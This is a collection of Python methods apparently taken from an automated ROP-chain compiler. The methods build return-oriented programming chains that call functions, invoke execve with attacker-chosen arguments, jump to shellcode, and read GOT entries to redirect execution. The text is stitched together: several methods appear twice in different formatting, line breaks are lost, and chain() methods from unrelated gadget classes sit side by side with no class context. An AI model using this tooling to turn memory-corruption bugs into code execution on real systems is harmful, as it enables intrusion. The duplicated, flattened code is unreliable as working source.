def create_function_chain(self, goal, end_address=None): """This method returns a ROP chain that will call a function""" self.logger.info( "Creating function chain for %s(%s) and finishing with a return to %s", goal.name, ",".join([hex(x) if type(x) != str else x for x in goal.arguments]), hex(end_address) if end_address != None else end_address) # Holds the ROP chain generated throughout the function chain = "" # Resolve any string arguments to where we're going to write those arguments too argument_strings = {} for i in range(len(goal.arguments)): arg = goal.arguments[i] if type(arg) == str: # TODO search the loaded memory for a string in case we're lucky and it already exists in memory address = self.get_writable_memory(len(arg)) argument_strings[arg] = address goal.arguments[i] = address # Split the arguments into a register and stack arguments register_values, stack_arguments = self.split_arguments( goal.arguments, end_address) # Get a chain to set all the registers first_address = goal.address if len(register_values) != 0: chain, first_address = self.gadget_list.create_load_registers_chain( goal.address, self.sp, register_values) if chain == None: return None, None # Add the function's address (and the LR gadget to set the gadget after this function if this architecture requires it) if 'lr' not in self.arch.registers and end_address != None: chain += utils.ap(end_address, self.arch) # Add the stack arguments for arg in stack_arguments: chain += utils.ap(arg, self.arch) # Write any string arguments to memory for arg, address in argument_strings.items(): arg_chain, first_address = self.create_write_memory_chain( arg, address, first_address, "\x00") chain = arg_chain + chain return (chain, first_address)
def create_execve_chain(self, goal): """This function returns a ROP chain implemented for a ExecveGoal. It first writes the arguments for execve, then calls execve""" argument_addresses = [] for arg in goal.arguments: argument_addresses.append(self.get_writable_memory(len(arg))) argv_address = self.get_writable_memory(self.alignment) function_goal = go.FunctionGoal(goal.name, goal.address, [argument_addresses[0], argv_address, 0]) function_chain, next_address = self.create_function_chain(function_goal, 0x4444444444444444) chain = "" for i in range(len(argument_addresses)): packed_args_address = utils.ap(argument_addresses[i], self.arch) argv_chain, next_address = self.create_write_memory_chain(packed_args_address, argv_address, next_address, "\x00") argv_address += len(packed_args_address) chain = argv_chain + chain null_chain, next_address = self.create_write_memory_chain("\x00", argv_address, next_address, "\x00") chain = null_chain + chain for i in range(len(goal.arguments)): arg_chain, next_address = self.create_write_memory_chain(goal.arguments[i], argument_addresses[i], next_address, "\x00") chain = arg_chain + chain return (chain + function_chain), next_address
def chain_gadgets(self): """This function returns a ROP chain implemented for the given goals.""" chain = "" next_address = 0x4444444444444444 for i in range(len(self.goals) - 1, -1, -1): goal = self.goals[i] if type(goal) == go.FunctionGoal: goal_chain, next_address = self.create_function_chain( goal, next_address) self.logger.debug( "Function call to %s's first gadget is at 0x%x", goal.name, next_address) elif type(goal) == go.ExecveGoal: goal_chain, next_address = self.create_execve_chain(goal) elif type(goal) == go.ShellcodeAddressGoal: goal_chain, next_address = self.create_shellcode_address_chain( goal) elif type(goal) == go.ShellcodeGoal: goal_chain, next_address = self.create_shellcode_chain(goal) else: raise RuntimeError("Unknown goal in scheduler.") if goal_chain == None: raise RuntimeError("Unable to create goal: {}".format(goal)) chain = goal_chain + chain return utils.ap(next_address, self.arch) + chain
def create_execve_chain(self, goal): """This function returns a ROP chain implemented for a ExecveGoal. It first writes the arguments for execve, then calls execve""" argument_addresses = [] for arg in goal.arguments: argument_addresses.append(self.get_writable_memory(len(arg))) argv_address = self.get_writable_memory(self.alignment) function_goal = go.FunctionGoal( goal.name, goal.address, [argument_addresses[0], argv_address, 0]) function_chain, next_address = self.create_function_chain( function_goal, 0x4444444444444444) chain = "" for i in range(len(argument_addresses)): packed_args_address = utils.ap(argument_addresses[i], self.arch) argv_chain, next_address = self.create_write_memory_chain( packed_args_address, argv_address, next_address, "\x00") argv_address += len(packed_args_address) chain = argv_chain + chain null_chain, next_address = self.create_write_memory_chain( "\x00", argv_address, next_address, "\x00") chain = null_chain + chain for i in range(len(goal.arguments)): arg_chain, next_address = self.create_write_memory_chain( goal.arguments[i], argument_addresses[i], next_address, "\x00") chain = arg_chain + chain return (chain + function_chain), next_address
def create_function_chain(self, goal, end_address = None): """This method returns a ROP chain that will call a function""" self.logger.info("Creating function chain for %s(%s) and finishing with a return to %s", goal.name, ",".join([hex(x) if type(x)!=str else x for x in goal.arguments]), hex(end_address) if end_address != None else end_address) # Holds the ROP chain generated throughout the function chain = "" # Resolve any string arguments to where we're going to write those arguments too argument_strings = {} for i in range(len(goal.arguments)): arg = goal.arguments[i] if type(arg) == str: # TODO search the loaded memory for a string in case we're lucky and it already exists in memory address = self.get_writable_memory(len(arg)) argument_strings[arg] = address goal.arguments[i] = address # Split the arguments into a register and stack arguments register_values, stack_arguments = self.split_arguments(goal.arguments, end_address) # Get a chain to set all the registers first_address = goal.address if len(register_values) != 0: chain, first_address = self.gadget_list.create_load_registers_chain(goal.address, self.sp, register_values) if chain == None: return None, None # Add the function's address (and the LR gadget to set the gadget after this function if this architecture requires it) if 'lr' not in self.arch.registers and end_address != None: chain += utils.ap(end_address, self.arch) # Add the stack arguments for arg in stack_arguments: chain += utils.ap(arg, self.arch) # Write any string arguments to memory for arg, address in argument_strings.items(): arg_chain, first_address = self.create_write_memory_chain(arg, address, first_address, "\x00") chain = arg_chain + chain return (chain, first_address)
def chain(self, next_address, input_values = None): chain = "" input_from_stack = self._is_stack_reg(self.inputs[0]) and input_values[0] != None # If our input value is coming from the stack, and it's supposed to come before the next PC address, add it to the chain now if input_from_stack and (self.ip_in_stack_offset == None or self.params[0] < self.ip_in_stack_offset): chain += self.params[0] * "L" chain += utils.ap(input_values[0], self.arch) if self.ip_in_stack_offset != None: chain += (self.ip_in_stack_offset - len(chain)) * "M" chain += utils.ap(next_address, self.arch) # If our input value is coming from the stack, and it's supposed to come after the next PC address, add it to the chain now if input_from_stack and self.ip_in_stack_offset != None and self.params[0] > self.ip_in_stack_offset: chain += (self.params[0] - len(chain)) * "N" chain += utils.ap(input_values[0], self.arch) chain += (self.stack_offset - len(chain)) * "O" return chain
def chain(self, next_address, input_values=None): if (input_values is None) or input_values == (None, None): return "", self.address gtrue, gfalse = self.branches if gtrue.ip_in_stack_offset is None and gfalse.ip_in_stack_offset is None: chain = "" elif gtrue.ip_in_stack_offset is not None and gfalse.ip_in_stack_offset is not None: btrue, bfalse = input_values if gtrue.ip_in_stack_offset < gfalse.ip_in_stack_offset: gmax, gmin = (gfalse.ip_in_stack_offset, gtrue.ip_in_stack_offset) bmax, bmin = (bfalse, btrue) else: gmax, gmin = (gtrue.ip_in_stack_offset, gfalse.ip_in_stack_offset) bmax, bmin = (btrue, bfalse) chain = gmin * "P" chain += utils.ap(bmin, self.arch) chain += (gmax - len(chain)) * "O" chain += utils.ap(bmax, self.arch) chain += (self.stack_offset - len(chain)) * "I" else: if gtrue.ip_in_stack_offset is not None: br = input_values[0] ip_offset = gtrue.ip_in_stack_offset else: br = input_values[1] ip_offset = gfalse.ip_in_stack_offset if not type(br) in [int, long]: raise RuntimeError( "For chaining JCC, int or long values are expected") chain = ip_offset * "P" chain += utils.ap(br, self.arch) chain += (self.stack_offset - len(chain)) * "O" return chain
def chain(self, next_address, input_values): ip_added = False # if the registers and ip are on the stack, we have to intermingle them if self._is_stack_reg(self.inputs[0]): # Get the order to set the registers regs_to_params = [] for i in range(len(self.outputs)): regs_to_params.append((self.params[i], self.outputs[i], i)) regs_to_params.sort() chain = "" for param, reg, output_idx in regs_to_params: before_ip_on_stack = self.ip_in_stack_offset == None or param < self.ip_in_stack_offset # If our input value is coming from the stack, and it's supposed to come before the next PC address, add it to the chain now if before_ip_on_stack: chain += (param - len(chain)) * "P" chain += utils.ap(input_values[output_idx], self.arch) if self.ip_in_stack_offset != None and not ip_added and not before_ip_on_stack: chain += (self.ip_in_stack_offset - len(chain)) * "Q" chain += utils.ap(next_address, self.arch) ip_added = True # If our input value is coming from the stack, and it's supposed to come after the next PC address, add it to the chain now if not before_ip_on_stack: chain += (param - len(chain)) * "R" chain += utils.ap(input_values[output_idx], self.arch) # if the IP hasn't already been set, add it now if self.ip_in_stack_offset != None and not ip_added: chain += (self.ip_in_stack_offset - len(chain)) * "S" chain += utils.ap(next_address, self.arch) chain += (self.stack_offset - len(chain)) * "T" return chain
def chain_gadgets(self): """This function returns a ROP chain implemented for the given goals.""" chain = "" next_address = 0x4444444444444444 for i in range(len(self.goals) - 1, -1, -1): goal = self.goals[i] if type(goal) == go.FunctionGoal: goal_chain, next_address = self.create_function_chain(goal, next_address) self.logger.debug("Function call to %s's first gadget is at 0x%x", goal.name, next_address) elif type(goal) == go.ExecveGoal: goal_chain, next_address = self.create_execve_chain(goal) elif type(goal) == go.ShellcodeAddressGoal: goal_chain, next_address = self.create_shellcode_address_chain(goal) elif type(goal) == go.ShellcodeGoal: goal_chain, next_address = self.create_shellcode_chain(goal) else: raise RuntimeError("Unknown goal in scheduler.") if goal_chain == None: raise RuntimeError("Unable to create goal: {}".format(goal)) chain = goal_chain + chain return utils.ap(next_address, self.arch) + chain
def chain(self, next_address, input_values = None): """Default ROP Chain generation, uses no parameters""" chain = self.ip_in_stack_offset * "I" chain += utils.ap(next_address, self.arch) chain += (self.stack_offset - len(chain)) * "J" return chain
def create_read_add_jmp_function_chain(self, address, offset, arguments, end_address): """This method creates a ROP chain that will read from a specified address, apply an offset, and then call that address with a set of provided arguments""" jump_gadget = arg_chain = arg_chain_address = None stack_arguments = [] # First, look for all the needed gadgets original_offset = offset for jump_reg in self.get_all_registers(): read_gadget = set_read_addr_gadget = None for addr_reg in self.get_all_registers(): if addr_reg == jump_reg: continue # Find a gadget to read from memory read_gadget = self.gadget_list.find_gadget(ga.LoadMem, [addr_reg], [jump_reg]) if read_gadget == None: continue # Then find a gadget that will let you set the address register for that read set_read_addr_gadget = self.gadget_list.find_load_stack_gadget(read_gadget.inputs[0], [jump_reg]) if set_read_addr_gadget == None: continue break if set_read_addr_gadget == None or read_gadget == None: continue # Then find a gadget that will let you jump to that register jump_gadget = self.gadget_list.find_gadget(ga.Jump, [jump_reg]) if jump_gadget == None: continue add_jump_reg_gadget = set_add_reg_gadget = None for add_reg in self.get_all_registers(): offset = original_offset if add_reg == jump_reg: continue # Then find a gadget that will let you add to that register add_jump_reg_gadget = self.gadget_list.find_gadget(ga.AddGadget, [jump_reg, add_reg], [jump_reg]) if add_jump_reg_gadget == None: # If we can't find an AddGadget, try finding a SubGadget and negating add_jump_reg_gadget = self.gadget_list.find_gadget(ga.SubGadget, [jump_reg, add_reg], [jump_reg]) offset = -offset if add_jump_reg_gadget == None: continue # Next, find a gadget that will let you set what you're adding to that register set_add_reg_gadget = self.gadget_list.find_load_stack_gadget(add_reg, [jump_reg]) if set_add_reg_gadget == None: continue break if add_jump_reg_gadget == None: continue # Split the arguments into a register and stack arguments register_values, stack_arguments = self.split_arguments(arguments, end_address) # Create a chain to set all the registers, while avoiding clobbering our jump register if len(register_values) != 0: arg_chain, arg_chain_address = self.gadget_list.create_load_registers_chain(jump_gadget.address, self.sp, register_values, [jump_reg]) else: arg_chain, arg_chain_address = "", jump_gadget.address if arg_chain != None: break # Couldn't find all the necessary gadgets if arg_chain == None: return (None, None) self.print_gadgets("Found all necessary gadgets for reading the GOT and " + "calling a different function with 0x{:x} bytes argument gadgets:".format(len(arg_chain)), [set_read_addr_gadget, read_gadget, set_add_reg_gadget, add_jump_reg_gadget, jump_gadget]) # Build the chain chain = set_read_addr_gadget.chain(read_gadget.address, [address - read_gadget.params[0]]) # set the read address chain += read_gadget.chain(set_add_reg_gadget.address) # read the address in the GOT chain += set_add_reg_gadget.chain(add_jump_reg_gadget.address, [offset]) # set the offset from the base to the target chain += add_jump_reg_gadget.chain(arg_chain_address) # add the offset chain += arg_chain # set the arguments for the function # Add the jump to the function, and the stack based return address (if this architecture uses it) chain += jump_gadget.chain() if 'lr' not in self.arch.registers and end_address != None: chain += utils.ap(end_address, self.arch) # Last, add the stack arguments for arg in stack_arguments: chain += utils.ap(arg, self.arch) return (chain, set_read_addr_gadget.address)
def create_read_add_jmp_function_chain(self, address, offset, arguments, end_address): """This method creates a ROP chain that will read from a specified address, apply an offset, and then call that address with a set of provided arguments""" jump_gadget = arg_chain = arg_chain_address = None stack_arguments = [] # First, look for all the needed gadgets original_offset = offset for jump_reg in self.get_all_registers(): read_gadget = set_read_addr_gadget = None for addr_reg in self.get_all_registers(): if addr_reg == jump_reg: continue # Find a gadget to read from memory read_gadget = self.gadget_list.find_gadget( ga.LoadMem, [addr_reg], [jump_reg]) if read_gadget == None: continue # Then find a gadget that will let you set the address register for that read set_read_addr_gadget = self.gadget_list.find_load_stack_gadget( read_gadget.inputs[0], [jump_reg]) if set_read_addr_gadget == None: continue break if set_read_addr_gadget == None or read_gadget == None: continue # Then find a gadget that will let you jump to that register jump_gadget = self.gadget_list.find_gadget(ga.Jump, [jump_reg]) if jump_gadget == None: continue add_jump_reg_gadget = set_add_reg_gadget = None for add_reg in self.get_all_registers(): offset = original_offset if add_reg == jump_reg: continue # Then find a gadget that will let you add to that register add_jump_reg_gadget = self.gadget_list.find_gadget( ga.AddGadget, [jump_reg, add_reg], [jump_reg]) if add_jump_reg_gadget == None: # If we can't find an AddGadget, try finding a SubGadget and negating add_jump_reg_gadget = self.gadget_list.find_gadget( ga.SubGadget, [jump_reg, add_reg], [jump_reg]) offset = -offset if add_jump_reg_gadget == None: continue # Next, find a gadget that will let you set what you're adding to that register set_add_reg_gadget = self.gadget_list.find_load_stack_gadget( add_reg, [jump_reg]) if set_add_reg_gadget == None: continue break if add_jump_reg_gadget == None: continue # Split the arguments into a register and stack arguments register_values, stack_arguments = self.split_arguments( arguments, end_address) # Create a chain to set all the registers, while avoiding clobbering our jump register if len(register_values) != 0: arg_chain, arg_chain_address = self.gadget_list.create_load_registers_chain( jump_gadget.address, self.sp, register_values, [jump_reg]) else: arg_chain, arg_chain_address = "", jump_gadget.address if arg_chain != None: break # Couldn't find all the necessary gadgets if arg_chain == None: return (None, None) self.print_gadgets( "Found all necessary gadgets for reading the GOT and " + "calling a different function with 0x{:x} bytes argument gadgets:". format(len(arg_chain)), [ set_read_addr_gadget, read_gadget, set_add_reg_gadget, add_jump_reg_gadget, jump_gadget ]) # Build the chain chain = set_read_addr_gadget.chain( read_gadget.address, [address - read_gadget.params[0]]) # set the read address chain += read_gadget.chain( set_add_reg_gadget.address) # read the address in the GOT chain += set_add_reg_gadget.chain( add_jump_reg_gadget.address, [offset]) # set the offset from the base to the target chain += add_jump_reg_gadget.chain(arg_chain_address) # add the offset chain += arg_chain # set the arguments for the function # Add the jump to the function, and the stack based return address (if this architecture uses it) chain += jump_gadget.chain() if 'lr' not in self.arch.registers and end_address != None: chain += utils.ap(end_address, self.arch) # Last, add the stack arguments for arg in stack_arguments: chain += utils.ap(arg, self.arch) return (chain, set_read_addr_gadget.address)
def chain(self, next_address, input_values=None): return utils.ap(self.address, self.arch)